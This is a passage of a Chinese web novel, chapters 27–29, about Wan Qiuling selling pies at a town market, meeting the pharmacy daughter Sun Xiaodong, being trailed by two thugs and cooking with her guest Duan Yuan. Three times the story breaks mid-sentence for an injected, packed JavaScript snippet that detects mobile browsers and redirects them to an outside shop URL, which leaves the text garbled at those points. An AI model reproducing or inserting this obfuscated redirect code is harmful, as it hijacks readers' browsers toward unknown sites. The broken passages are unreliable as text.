而万秋灵做的这道菜，做法简单，切片煎制即可，但加上搭配起来效果独特的香料，味道鲜明又直接，更具烟火气。 他细嚼慢咽，给出了一个中肯的评价：“五花肉辛香开胃，馅饼也很好，依在下看来，定会颇受欢迎。” 27. 肉馅饼 万秋灵一直在留心段渊的反应，听到他说的话，脸上顿时露出一个明媚的笑容：“表哥如此评价，我更有信心了。” 她笑起来的时候，嘴角扬起一抹好看的弧度，眼睛弯弯的，闪烁着灵动又满足的光彩，显得格外鲜活。 段渊看着她，心情也随之荡漾。 但万秋灵的笑容里还藏着一丝狡黠。饭后，她再次笑眯眯地凑过来：“表哥，能者多劳，帮个忙吧？明天要用的肉馅有一点点多……” 杜氏已经在灶屋筹备食材，万老爹听见女儿的话，倒很赞同她使唤这后生。 段渊料到会是如此，忍不住也笑，跟着她去了灶屋。他一进去，本就狭小的空间顿时显得更加局促，杜氏只好退了出来。 万秋灵用布仔细擦净刀柄上的油渍，将菜刀递给他。 接刀时，段渊的手指“无意”间轻轻擦过她的手，有一些痒，万秋灵忽然僵了一瞬。 此刻若她机敏一些，也可以迅速躲开避嫌，都说男女授受不亲……不过万秋灵显然不是那么保守的人。 毕竟，她早就非礼过这人的胸膛了，碰到手又算得了什么？ 但就在那一触即分的瞬间，万秋灵却敏锐地感觉到，段渊的拇指指腹有一块明显的硬茧。 那茧子粗糙厚实，和其他皮肤对比鲜明。 按理说，无论是他自述的身份，还是从外形来看，都像是生活宽裕甚至优渥之人，为什么手上会有磨出来的陈年厚茧？ 难道她的判断出了错，这人并非富贵出身？那五两的金子还能说给就给，真够舍得的……况且他的手，修长干净，实在不像是干粗活的人。 这个小小的疑团，暂时被万秋灵压在心里。 …… 翌日，杜氏摸黑起身。 如今地里的活交出去，她心头一松，除了收拾家里，最重要的就是支持女儿们的生意，所以早早开始烙饼子。 馅料是万秋灵昨晚就调好的，配料和比例不避着家里人，杜氏也清楚。她先做了一小块尝尝，缺了哪一味都能调整。 等万秋灵和万小兰也起床洗漱完毕，灶屋里两口锅左右开弓，很快便把饼子全部制作妥当。 杜氏原本还想陪着女儿们一起去镇上，万秋灵坚决不让：“娘，你这些日子够累的了，先好好歇两天。” 万小兰也抱着杜氏的胳膊晃：“就是就是，我们去镇上可熟了。阿娘你就待在家，想睡懒觉就睡懒觉！” “你这孩子！”杜氏被她逗笑，知道女儿们心疼自己，心里熨贴得紧。 这些饼子虽比之前的糙米团和笋片轻便得多，但路毕竟远着，走久了脚吃亏。她忙惯了闲不住，便想给女儿们再纳两双新的鞋底子，也做些软和舒适的鞋垫，让她们走路舒服点。 出乎意料的是，段渊竟然也已经早起收拾好，表示要同去。 万小兰劝他：“满仓哥你折腾啥呀？就在家待着多好。”这是真拿他当表哥了。 杜氏也觉不妥，哪能让客人跟着奔波。 段渊提起那个深色的木匣：“正巧今日要去镇上办些差事，还能顺路帮着拿些东西。” 一听是办正事，杜氏和万小兰便不再反对了。 到了镇上，段渊果然如他所说，与姐妹俩在集市外分开，自去办事。 万秋灵和万小兰支好摊子，开始叫卖。 肉馅饼和鲜虾饼一样，没做试吃，又因为价格较贵，在这外围集市总是不如什锦菜饼畅销的。准备的本就不多，却仍有些滞销。 “没关系阿姐，咱们的肉馅饼滋味这么好，等以后去了梅花桥街那边卖，肯定能卖出价钱！那边舍得花钱的客人多着哩！”万小兰说完，又精神十足地吆喝起来。 万秋灵估摸着段渊去办差事还得有一阵子才能回来，提前招呼妹妹开始收拾摊子。 “还剩些呢，就不卖了吗？要是我们都走，摊位可没有了。”万小兰挺舍不得早起占的位置，“不然我留下等阿姐回来。” “咱们去药铺给爹抓药，顺便逛街。”今天正好要买药，干脆去街上转转。 什锦菜饼已经卖光了，剩下的十几个肉馅饼一时半会儿卖不动，万秋灵对明天的备货量有了数。 肉馅饼的口味宣传需要一个慢慢积累的过程，等买过的食客多反馈，销量就能逐步带动起来。 万小兰一听可以逛街，顿时顾不上什么摊位不摊位的了，赶紧收摊！她们将剩下的饼子仔细包好，收进背篓。 万秋灵还记得妹妹曾经看中过一些小玩意儿，只是当时手头紧，没舍得买，这次便特意领着她去卖玩具的摊子，挑了个颜色鲜艳、风一吹就哗啦转的小风车。 给万小兰美的哟，举着风车一个劲儿嘚瑟，兴奋得不得了，直呼拿肉包子都不肯换。 路途经过梅花桥街，各种美食的气息扑面而来。 桥头有个干净的小摊，摆满了各式各样的甜饮，摊主是个笑容爽利的年轻姑娘，不是万秋灵之前常见的老婆婆。 她走近，要了一碗时兴的枇杷蜜汤。摊主很是热情，见她们是两人一起，贴心地递过来两个小的木调羹。 姐妹俩就站在摊子边，你一口我一口分完了这碗香甜可口的汤饮。 还碗勺时，万秋灵顺带问了一嘴：“这摊子之前的婆婆呢？是换了人吗？” 摊主姑娘只当她是旧客，笑着答：“没换，奶奶有旁的事，由我替几天。您放心，保管口味不会变！” 看来这个摊位没有变更，万秋灵点点头，带着妹妹往镇上有名的药铺走去。 她并未注意到，在离开梅花桥街时，有两名男子从街道另一侧的摊子离开，悄悄跟在她们身后。 长春堂内弥漫着各类药材的清苦气味。 万秋灵将父亲的药方递给伙计，和妹妹百无聊赖地站在柜台边等待抓药。 药铺的光影一暗，两道身影一前一后走了进来。 走在前头的是一位穿着黄色衣裙的少女，容貌清秀。她身后跟着一个丫鬟，双手拎满东西。 药铺掌柜抬起头，原本严肃的脸上立刻堆满慈爱的笑：“小冬回来啦？” “嗯，爹。” 被唤作小冬的少女随意应了一声，目光随意扫过柜台前的万秋灵和正在玩风车的万小兰，并未停留，显然并未将这两个衣着朴素的客人放在心上。 倒是她身后的小丫鬟，目光在万秋灵脸上多停留了会儿，又看向万小兰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403707|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然低呼一声，小声道：“小姐，您看……这不是上回在集市，提醒您荷包被偷走的那个小丫头吗？” 小冬闻言，脚步一顿，转过身，顺着丫鬟的示意看向万小兰。万小兰也察觉到视线，奇怪地望了回去。 倒是万秋灵已经认出了人，这女子正是之前被偷走荷包的白裙少女。而荷包里的钱，后来还被扒手拿出一部分，交给垫付医药费的墩子。 掌柜见女儿盯着客人看，却不说话，便开口问：“小冬，怎么了？认识？” 小丫鬟嘴快，将那天在街上发生的事情简单说了一遍。 万小兰一听，连忙道：“是我阿姐先发现，才让我提醒的。” 掌柜听完，脸上堆满了笑容。 “原来还有这等事，今日再相见，真是有缘。”他赶紧吩咐抓药的伙计，“再拿两张咱们堂里最好的温经通络膏来，一并包上。” 掌柜和蔼地解释：“二位姑娘心善。家中长辈腿伤正在愈合之时，这膏药外用，最能通络止痛，算是我替小冬道个谢，一点心意。” 万小兰一听是治爹爹腿伤的，高兴道：“谢谢掌柜伯伯！” 这时，那位小姐径直走到了万秋灵面前，语气柔和不少：“当日多谢两位姑娘仗义提醒，是我太疏忽了。虽然没有追回失物，但这份心意我晓得。” 万秋灵摆摆手：“小冬姑娘，我们也没能帮上什么，不敢当。” 掌柜见女儿难得主动与人交谈，便提议道：“小冬，不如请两位姑娘去后院坐坐，说说话？药还得配一会儿呢。” 小冬看了父亲一眼，又看看万秋灵和万小兰，点了点头：“也好，二位请随我来吧。” 万秋灵见掌柜盛邀，药铺小姐态度也很友善，便和妹妹一起跟了过去。 后院比前堂清静许多，空气更加清新，四周栽种着几样常见的草药。 丫鬟很快端来一碟蜜饯和一盘果子，为桌上三人沏好了茶。 万小兰眼巴巴瞅着蜜饯，等姐姐点头，才矜持地拿了一颗放进嘴里，满足地眯起眼。 药铺小姐主动开口：“我姓孙，孙小冬，叫我小冬即可。不知二位姑娘如何称呼？” “我叫万秋灵，这是我妹妹，万小兰。”万秋灵答完，却忽地想起什么。 姓孙，又是开药铺的？她隐约记起好像在哪儿听过相关的信息……对了！是在茶摊，有人聊到过“孙掌柜”，还提到他想给女儿招赘。 果然平口镇还是太小，她竟早就在茶摊的闲话之前，见证过这位八卦中的主角被人偷走钱包。 两人年纪相当，孙小冬也并非难以相处之人，很快便闲聊开来。 听到万家姐妹在镇上摆摊卖些小吃食，孙小冬露出几分兴趣：“哦？是在哪里摆？改日我定要去瞧瞧。”她平时最是喜爱逛街的。 万秋灵想起还没卖完的肉馅饼，便道：“就在集市外围，卖些自己做的饼子。今日还余了些，都是早晨新做的，小冬要是不嫌弃，不妨尝一尝？” 万小兰配合地从背篓拿出两个包好的肉馅饼。 一旁的丫鬟刚想开口说“我家小姐不爱吃荤腥”，却见孙小冬似乎真有想尝的意思，便机灵地接过，拿去用小碟装着。 28. 教他做春卷 长春堂外，街道的一处转角里，两个凶恶汉子已经等得有些不耐烦了。 “豹哥，怎么半天没听到动静？”一个矮些的汉子压低声音道，“抓药也用不着这么久吧。” 被叫做豹哥的汉子朝同伴使了个眼色，矮个汉子迅速探出头，朝药铺里看了一眼又缩回来。 “豹哥，人不见了。”同伴低声向他报告，“里面除了抓药的伙计和孙掌柜，没看到之前进去的两个丫头。” “不见了？”豹哥蹙起眉。 “真没见着，会不会从后门走了？或者……她们本来就是这药铺的人？” “怪了……”豹哥语气带着疑虑，“难道她们是长春堂的人？” 长春堂在平口镇算是数得上号的老字号，孙掌柜也不是好惹的。若那丫头真是药铺的人，或者与孙家关系匪浅，倒是有些棘手。 两人不甘心，决定再蹲守一会儿。 药铺里人来人往，大约过了一刻钟，同伴忽然轻轻拍了拍豹哥的胳膊。 只见孙小冬亲自将万秋灵姐妹送到了药铺门口，脸上带着笑，还拉着万秋灵的手说了几句什么，态度颇为亲昵。随后，万秋灵姐妹辞别，朝着街道外走去。 豹哥和同伴知道机会来了，那个令他们忌惮的男人不在，正好摸清这丫头底细，说不定还能逮住那个坏了他们好事的小乞丐！ 两人不远不近地吊在万秋灵姐妹身后。 走过两道街口，路越走越偏，周围的房屋逐渐低矮破旧，已是靠近镇子的边缘区域。两人暗自猜想，难道她们就住在这附近？ 这时，走在前面的万小兰忽然举起色彩鲜艳的小风车，朝某个方向用力挥了挥，清脆的喊声在街道上显得格外明晰： “满仓哥！” 听到呼喊声，段渊望向万家姐妹的方向，迈步迎了上去。 他的目光似是随意、又似有意地扫过她们身后的某处街角，那里位于一片阴影下，空无一人。 只是短短半日不见，万秋灵发现段渊竟又换了一身衣服。依旧是样式简洁的棉布直裰，但细微处略有不同，似乎更合身了点，连束发的布巾都换了颜色。 万秋灵有些怀疑，他要办的差事之一不会就是去置办行头吧？还得费心挑选这种低调简约、不至于在乡下显得扎眼的款式。也不知道他换下来的旧衣服扔哪儿了，难道都塞进那个木匣里了？ “满仓哥！阿姐买给我的，好看吗？”万小兰朝风车夸张地吹了一大口气，几种颜色混在一起，转得人眼花。 “好看。”段渊肯定道，目光却转向万秋灵，语气带着点戏谑，“只给妹妹买，姑娘没给自己也挑上一个？” 万秋灵无语，她又不是小孩子了，哪好意思玩风车。遂没好气地瞥他一眼，转而问道：“你的事情办好了？” 段渊已经站到了万秋灵身侧，与她并行。 “差不多了，正要去寻你们，便遇上了。” “那走吧，早点回去。”万秋灵道。 今天收摊早还有个缘故，她托了墩子帮忙买肉和土鸡，想早点回去炖鸡汤。 万小兰走路一蹦一跳的，小嘴叭叭地开始说起在药铺的见闻：“孙家姐姐人挺好的，请我们喝茶吃果子。那个蜜饯特别甜，就是果子有点酸，还不如后山摘的刺泡甜呢……” 三人的身影渐行渐远，交谈声也慢慢模糊。 直到确认他们走远了，躲在街角阴影后的两个凶恶汉子才敢出来。这么一会儿工夫，两人背上竟都冒出了一层冷汗。 “豹、豹哥，刚才那人应该没发现咱们吧？”矮个子被段渊那一眼吓得够呛，声音有些发飘。 他们跟踪得不算近，躲藏也及时，可他心里就是有点慌……不，不只是有点。 豹哥心里其实也有些没底，但嘴上不肯露怯，骂道：“瞧你就这点胆子！能干成什么事？隔那么远，他能看到啥？” “那、那咱们还追吗？”矮个汉子怯怯地问。 追吗？这不是废话，再跟上去随时会被发现。豹哥懒得回他，狠狠啐了一口，黑着脸往另一个方向走了，矮个子连忙跟上。 而这次，他们却不知道，身后也悄无声息的缀了一个人。如同鬼魅一般，藏于更深的阴影中。 …… 万秋灵敲开隔壁的院门，给墩子结跑腿的钱。 墩子本来不好意思收钱，但他现在也有些被美食迷晕了头，觉得要是能多存些私房钱，家里能多吃些好的，于是面对这样的交易越发坦然了。 “秋灵姐，我跟屠户提了是你们姐妹要的，他特意给多搭了根棒骨，说是你以前常买的，斤两也称得足。这土鸡我特意挑了最精神的，还跟卖鸡的大娘磨了半天价哩！” 他想着既然收了跑腿费，就得把事情办得妥妥帖帖，将采购的细节都说了一通，顺利得到了万秋灵的夸奖。 “不错，任务完成得很好。”万秋灵顺手拿出一个肉馅饼，往他手里一塞，“给，再多送你一个饼子。” 墩子晓得这饼子有多好吃，同样是猪肉和饼子，娘琢磨来琢磨去，就是做不出这样的样式和味道。 不过这饼子用了芭蕉叶包好，摸着有些凉了，像是没卖完剩下的。墩子奇怪，难得多问了一句：“秋灵姐，夹了肉的饼子这么香，居然还有剩的？”他可是见识过那些熟客抢购什锦菜饼的架势。 万秋灵闻言，笑着伸出三根手指在他面前晃了晃：“三文一个，买不买？” “三文？”墩子默然，手里原本觉得凉丝丝的饼子瞬间又变得烫手起来。好吃是真好吃，但这价钱也是贵的，虽然掺了肉…… 看着墩子被价格震撼到的表情，万秋灵笑着挥挥手，回了家。 杜氏上午收到墩子送来的东西，早已将土鸡处理得干干净净，剁成了合适的块状。几斤板油也按照万秋灵之前教她的法子熬好，灶台上还剩满满一碗猪油渣。 知道女儿带了新抓的药回来，杜氏便开始忙活熬药的事。院子角落有一个用三块石头搭成的简易小灶，是专门煎药用的。 杜氏将药罐架上，搬了个板凳坐在旁边，时不时添上一根细柴，免得火灭掉，这种露天小灶离不开人。 “娘，我给你拿个蒲扇过来，别让烟熏着了。” 万秋灵回来就看到院角的烟雾变浓，从屋里找出了蒲扇递过去。 “哎，好。”杜氏应着，接过扇子轻轻摇摆。 随着罐中药汤逐渐沸腾，一股浓郁苦涩的药味随着水汽升起，被风一吹，弥漫在整个小院里。 万老爹原本靠在床头，手边放了一小碗猪油渣，嚼得正惬意。 那熟悉的苦味钻进来，他眉头瞬间拧成了疙瘩，连嘴里的猪油渣都变了味，没好气地嘟囔：“这丫头！问都不问一声，药就给抓回来了，嘴里刚有点滋味，又要喝这些苦汤子。” 万秋灵路过时刚好听见万老爹在屋里抱怨，只当没听见，悠哉悠哉地进了灶屋。 万小兰出去找小伙伴炫耀风车了，灶屋里只剩段渊一人——他在生火。 没错，如今这位贵客在万秋灵不怀好意的笑容驱使和言语的捧杀下，劈柴烧火剁馅无师自通，件件都能顶上，还挺像样。 杜氏从一开始的惶恐不安，到现在的习以为常甚至麻木了。灵儿这么安排，应该有她的道理，而且看这位齐公子，似乎，好像……也没什么意见。 段渊蹲在灶膛前，先把干草点燃，放在架好的细枝下。他在野外狩猎时也生过火，倒算不上全无经验。而且野外常要跟乱风作斗争，薪柴也少，不易控制火候。相比之下，灶膛生火要简单许多，他很快就掌握了诀窍。 万秋灵把淘好的白米下锅，盖上盖子。转头见灶膛的火橙红一片，烧得比她都好，由衷赞叹道：“表哥挺厉害啊，这火烧的，简直是灶王爷下凡。” 段渊算是发现了，自从万秋灵察觉他在她面前格外好说话之后，使唤起他来愈发熟练，从“不敢劳烦”到“表哥帮个忙”，中间不过短短几天。 如今偶尔也敢拿他打趣，甚至私下里还会有一点点的小脾气。这似乎更接近于她本身的性格，而非那个被迫早早扛起家庭重担、总是显得过分冷静稳重的长女。 他拍了拍手上的尘土，故意问道：“既然秋灵姑娘夸我厉害，可有什么奖励？” 万秋灵正将鸡块放入另一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409617|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅里去腥焯水。闻言，她还真的思考了一会儿，问他：“那你有没有什么特别想吃的？不过太精巧复杂的不行，我现在做不了。” 她这话本是出于客气和酬谢，但问出来，倒有了几分打听他喜好的意味。 段渊看着她在烟火气中忙碌的身影，弯了弯唇角，语气十分温柔：“姑娘做的，我都觉得甚好。” 万秋灵听了，诧异地看了段渊一眼。 灶膛里火光不规律地跳动，光晕肆意映照在他无可挑剔的脸上，将那双墨色的眼睛照得格外明亮。他眉眼含笑，正一瞬不瞬地注视着她。 颇有些摄人心魄。 万秋灵眼眸颤了颤，及时收回视线，低头专心撇去锅中的浮沫，小声嘀咕了一句：“就会说好听的……” 火烧得太旺，水汽蒸得她脸颊有点发烫。 焯好的鸡肉捞出，重新加入热水，还要炖将近一个时辰。 她麻利地盛出米饭，架在竹筲箕里，等后面再蒸透。余下的米汤用碗装好，带着稻米特有的微甜，万小兰很爱喝。 万秋灵开始炒制春卷馅料，用到的猪肉不多，只让杜氏帮着切了小半碗细丝，更多是各色蔬菜，还有少许之前晒干的菌子，炒好后放一边晾凉。 接着是摊春卷皮。这一步没什么难度，万秋灵用手揪住一团面，在锅底利落地转了一圈，留下薄薄的面皮，等边缘翘起，轻巧一揭，一张春卷皮便做好了。 她见段渊正盯着她手里的面团，很感兴趣的样子。 “要不要试试？”万秋灵挑眉。 段渊顿了顿，竟真的点了头。 万秋灵便让他去洗净手，将面团递过去，认真地教起来。 万小兰进灶屋时看到的就是这幅画面。 阿姐站在满仓哥身旁，恨不得直接上手，又不好动手动脚。 她只能用手比划，用言语催促：“你转快一点，转完就揭，要糊了！” 满仓哥听话地拎起面皮，却碎成了好几块，阿姐急得皱眉。而满仓哥低着头，看似专注锅里，可实际在看阿姐，心情看起来相当不错。 两个人挨得太近了。此刻阿姐站在内侧，竟然被遮去了大半身影，万小兰远远瞧着，差点以为她被满仓哥圈在怀里。 段渊早就注意到了门口目瞪口呆的小丫头，他佯装不知，继续笨拙地摊春卷皮。 直到万秋灵忍无可忍，驱赶他：“行了行了，我来，你去看火！” 段渊将位置让给她，明明是被赶走的，脸上却还带着笑。 万秋灵见妹妹杵在门口，一把将她拉过来：“小兰，你试试，我来教你。” 万秋灵急需找回当老师的自信。段渊这人学什么都挺快的，怎么摊个春卷皮就笨成这样？故意的吧！ 万小兰呆愣愣地接过面团，在姐姐的悉心指导下，摊出了几张奇形怪状的破碎面皮。 万秋灵：“……” 算了。她面无表情道：“你也去给我烧火。” 于是灶膛前又多了一个小板凳，两个人各自负责一口灶。 万小兰烧火烧得心不在焉，她偷偷观察左边的人。 满仓哥腿太长，坐在小板凳上腿伸展不开，膝盖几乎顶到灶沿，看着就憋屈。可他脸上却没有一丁点不耐，反而一直带着浅浅的笑，也不知在笑什么。 奇奇怪怪的。 春卷的材料准备妥当，只等包好了过油炸。 米饭上锅蒸着，万秋灵忽然转头问妹妹：“咱们剩的红苕放在哪呢？” 自从摆摊赚了钱，家里的伙食一天天好起来，红苕已经很久没上桌了。万小兰还记得阿姐很讨厌喝红苕稀饭来着。 “柴房应该有些。”她不太确定，“阿姐你想吃？” “嗯。”万秋灵让妹妹去翻找。 她还真有点想了，不过不是红苕稀饭，而是在药铺看到蜜饯，忽然想做些甜口的菜，既能丰富一下餐桌口味，又能让万老爹喝完药压一下苦味，拔丝地瓜就很合适。 今日饭点，万家不再是馋哭隔壁小孩的饭菜香。 精心炖煮的土鸡汤散发出的鲜美味道也被中药的浓重苦味盖了过去。 29. 陪着摆摊 万老爹端着药碗，愁眉苦脸地与最后半碗浓浓的药汁对峙。 那药浓得发黑、苦到发酸，越喝越稠，碗底还沉着细碎的药渣，每一口都像在喝黄连水，喝得他眼冒金星。 最后一口闷完，万老爹如释重负地扔下药碗，伸手去够鸡汤，准备清清口，就听小女儿喊他先尝那个什么拔丝番薯。 “爹，你喝完药吃这个，可甜，可美了！” 万老爹哪里肯信？左右不过是红苕做的，有什么可稀奇。但他听到很甜，也不再犟，他现在连口水都是苦的。 那苕块夹起来还连着丝，看起来不是很美观，万老爹一股脑塞进嘴里。 糖丝入口就化开，糖壳包裹着绵软的苕，焦糖的甜完全压住了药的苦涩。 万老爹眼里的光顿时比刚才看鸡汤还要亮，红苕可真是个宝啊！ 杜氏则更偏爱那道炸春卷。外皮薄薄脆脆一层，里面的馅料还冒着热气，肉和各类蔬菜混合，调味不重，却余味悠长。 万秋灵见杜氏喜欢，多介绍了几句：“春卷不炸也行，卷好就能吃。或者把饼皮摊大点、结实点，做成卷饼，想卷啥什么就卷什么，一饼卷万物。” 说到摊饼皮时，万秋灵还朝段渊和妹妹望去一眼，一个在慢条斯理地喝汤，一个埋头扒饭。 这俩徒弟的学习成果，让她很挫败。 杜氏听了觉着不难，心里有了计较，认真问女儿：“这个能拿到摊子上卖不？” 万秋灵肯定道：“当然能。” 杜氏便有些兴奋：“那咱就做这个吧，到时候娘跟着你们一起去镇上卖！” “先不着急。”万秋灵给她碗里添了勺汤，柔声解释，“要是做卷饼，现做现卖的更好，客人还能选不同的馅料和口味，炸春卷也要现炸。等我在梅花桥街租到固定摊位，到时候少不了娘来帮忙。” 杜氏笑道：“娘巴不得呢，就怕你嫌我手脚慢。” “哪里的话，娘手脚是最利索的。” 杜氏对去镇上帮忙的事格外上心，吃饭时念叨了好几句。 万秋灵知道杜氏是想出一份力，心里也有了盘算，无论后日能不能抢到摊位，有些准备得提前做起来。 要做炸货，而且要现做现卖，摊子上少不了一口炸锅。她打算明天就去镇上的铁匠铺问问，定制一口大小合适的锅。 次日清晨，段渊又早早地跟着出门。 如今家里都已习惯他每天同去镇上的日程，默认他有差事要办，无人多问。 到了镇上，段渊却没有像往常一样自行离开，而是跟着姐妹俩占好了摊子，帮她们把东西摆好，又从随身的木匣最底层拿出熟悉的小马扎，展开放在了摊子后方。 然后他坐下了。 万秋灵盯着他看了一会儿，见他从容地压好衣摆、调整坐姿，不像是坐的马扎，倒像是坐的松石雅凳，正要对弈或是品茗。 经历了灶屋烧火坐小板凳的磨炼，这只小马扎对段渊而言已堪称舒适。 “你今天……没有差事？”她问。 段渊从匣中又取出一柄新的蒲扇，状若不经意地抬起，扇面刚好替万秋灵挡住了斜照过来的晨光。 做完这些，他才回答她的问题，语气平常：“今日的差事，便是陪二位姑娘摆摊。” 万秋灵：“……” 万小兰：“……？” 万秋灵完全搞不懂他这是哪一出，难道是体验民间生活上瘾了？ 她懒得深究，只将那柄蒲扇从头顶挪开，拨到他自个儿头上，随口道：“表哥你肤色这么白，还是自己挡着吧，晒黑了怪可惜的。” 段渊从善如流地收回蒲扇，轻轻搭在膝头，仿佛方才无事发生过，只是眼角藏了一点笑意。 万小兰狐疑地看了看满仓哥，又看了看阿姐，总觉得有什么地方不对，却又说不上来。 过了会才恍然，阿姐挪蒲扇时，好像抓的是满仓哥的手…… 摊子支开后，今天的生意竟然比往常顺利很多。 或许是段渊坐着，没有站立时那般的压迫感，又或许是那蒲扇和小马扎的巧妙搭配，硬是将青年衬出几分在村头闲聊唠嗑的亲切来。 总之，客人们没有如万秋灵担心的那样绕道而行，反倒有不少人特意来瞧一眼。 有的大娘和婶子，一边买饼，一边好奇地打量段渊，干脆直接问：“这后生是谁啊？打眼一看就精神！” 问的人多了，万小兰也练出了一套标准答话：“这是来帮忙的表哥。婶子您要哪样饼？什锦的还剩不多了，肉馅饼用的是新鲜猪肉，香着呢！” 三句话不离推销，把客人的注意力从表哥长表哥短拉回饼子上。万秋灵在一旁听着，暗暗给妹妹竖大拇指。 效果也是立竿见影，肉馅饼的销量比昨天好了一大截。 这时，一个眼熟的姑娘挤入人群，到了摊子前，正是孙小冬身边的丫鬟。 她递过几文钱，要了两个肉馅饼，又趁机飞快往万小兰手里塞了两小包蜜饯。 “是我们小姐让带的……”丫鬟小声说，“那日姑娘说蜜饯甜，小姐便记下了。” 蜜饯原是给两个人的，可丫鬟瞧着那个陌生青年就挨在万秋灵身边，没好意思往她手里递，只好一股脑全塞给了妹妹。 万小兰欢欢喜喜地收下，乖巧地道了谢。 临近收摊，有个跟着娘亲一起来买饼的小男娃，刚接过饼就迫不及待咬了一大口，嚼吧嚼吧咽下去，眼睛瞪得大大的。 “娘！这是我吃过最好吃的肉饼！” 男娃的娘被逗笑了，拿帕子给他擦嘴：“那你多吃些，以后长得跟那个哥哥一样结实。” 小男娃使劲点头，往嘴里又塞了一口饼。他不在乎长得结不结实，只知道这饼真香，以后要跟娘多来买。 备的货本就不多，今日出乎意料地提前售罄，还不到午时，带来的背篓和匣子便已空空如也。 “走，我们先去定锅。”万秋灵背好空篓。 几人往镇子的西街去。 铁匠铺铺面不大，叮叮当当的打铁声隔着半条街都能听见。万秋灵进去，将想要的锅具尺寸和样式说与老铁匠听。 “做油炸的锅子，我晓得。”老铁匠皮肤黑得发亮，肌肉结实，“好些吃食摊子都在我这定过。沥油的架子要不？都是按尺寸配套做的。” “要。”万秋灵比划着，“但和普通的沥网不太一样，网眼要细些，我做的东西个头小，免得漏下去。还有在锅的边缘加上半圈铁皮，挡挡灰，沥网也能挂上面。” 老铁匠点点头，用炭笔在木板上记下。最快三天、最迟六七天做好，定金先付，取锅时结清剩下的。 万秋灵爽快地付了钱，出了铁匠铺，又心情颇好地到街上置办东西。有段渊在，采购物资省力了许多。 昨天那碗枇杷蜜汤甜度适中，正合万秋灵口味，但她这回不打算买现成的，便在集市上称了些枇杷，又挑了几斤柑橘，试试在家弄点饮品喝。 到时候万老爹喝苦苦的药，他们喝甜甜的汤，非常完美。 回到家里，杜氏却不在，万老爹坐在屋里炕头上，手里拿了柄烟杆，里面一根烟丝都没有，就这么干坐着。 他很久没抽烟了，大女儿也不许他抽，就是拿个空杆子过过瘾，装装样子。 “爹，娘去哪了？”万小兰问。 “被隔壁叫走了。”万老爹含糊道，“说是你王婶子家来了亲戚，喊她去认认人。” 万秋灵没太在意，只当是邻里间正常走动。她和万小兰一块把采买的东西收进灶屋。 没多久，院门吱呀一响，杜氏回来了，还伴随着其他人的说话声。 万秋灵从灶屋探出头，只见杜氏走在最前面，脸色有些不自然，身后跟着好几个人。 墩子娘她认得，再后面，是两个陌生的妇人，一个圆脸，一个瘦长脸，脸上都堆着笑，进门就开始四下打量。 还有个年轻姑娘，挽着瘦长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413299|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸妇人的胳膊，低眉顺眼，穿一身粉色的衣衫，头发梳得整整齐齐，耳边还插了朵小小的花，被太阳晒得有些蔫，似乎是桃花。 万秋灵愣住了，这三人她一个都不认识。 万小兰也不认识，悄悄往姐姐身边靠了靠，拉着她的衣角。 那年轻姑娘刚走进院里，眼神就飞快地扫视了一圈，像在寻找什么。 她先是看见了站在灶屋门口的万秋灵和万小兰，目光没有停留。然后看见了西屋南侧的房间，那扇门恰好在她目光落上去时，极轻、极快地从里面合上了。 年轻姑娘羞红了脸。她欲盖弥彰地偏过头，用袖子半遮着脸，往长辈身后缩了缩。 墩子娘哪能没瞧见，干咳一声，想说点什么开个头，嘴一张，没挤话出来。 杜氏则是尴尬地引着她们到堂屋坐，吩咐道：“灵儿，兰儿，去端茶来给客人喝。” 万秋灵应了一声，带着妹妹往灶屋走，身后传来断断续续的寒暄声。 “万大哥身子好些了吧？” “好多了，劳你们记挂。他这会儿在屋里歇着呢，就不喊他出来了。” “那是那是，就该歇着……” 万小兰进了灶屋，从背篓里摸出一个小油纸包，小心翼翼打开，里面是六七颗红色的枣脯。 她数了数，取四颗放在小碟子里，刚好够客人一人一颗。剩下的包好又放了回去，留给自家吃。 万秋灵有些诧异：“这是何时买的蜜饯？”而且难得妹妹还这么大方，一拿就是四颗。 “不是买的。”万小兰小声说，“是孙家姐姐给的。昨天她招待咱们，又是蜜饯又是果子，还有茶，我学着她待客呢！”语气很是骄傲。 万秋灵怔了一下，伸手揉了揉妹妹的发顶，没说话。 她们端着粗茶和枣脯，一前一后进了堂屋。 那两位妇人正闲聊着，看见碟子里的蜜饯，面上的笑容凝了一瞬，随即又笑得更开。 万家的日子，果然是起来了，这蜜饯一看就不是便宜货。 圆脸妇人笑着道：“这就是秋灵吧？哎哟，真是生得齐整，难怪……” 话没说完，袖子被另一个妇人轻轻扯了一把，赶忙改口：“难怪这么能干！镇上摆摊的事，我们都听说了，了不得！” 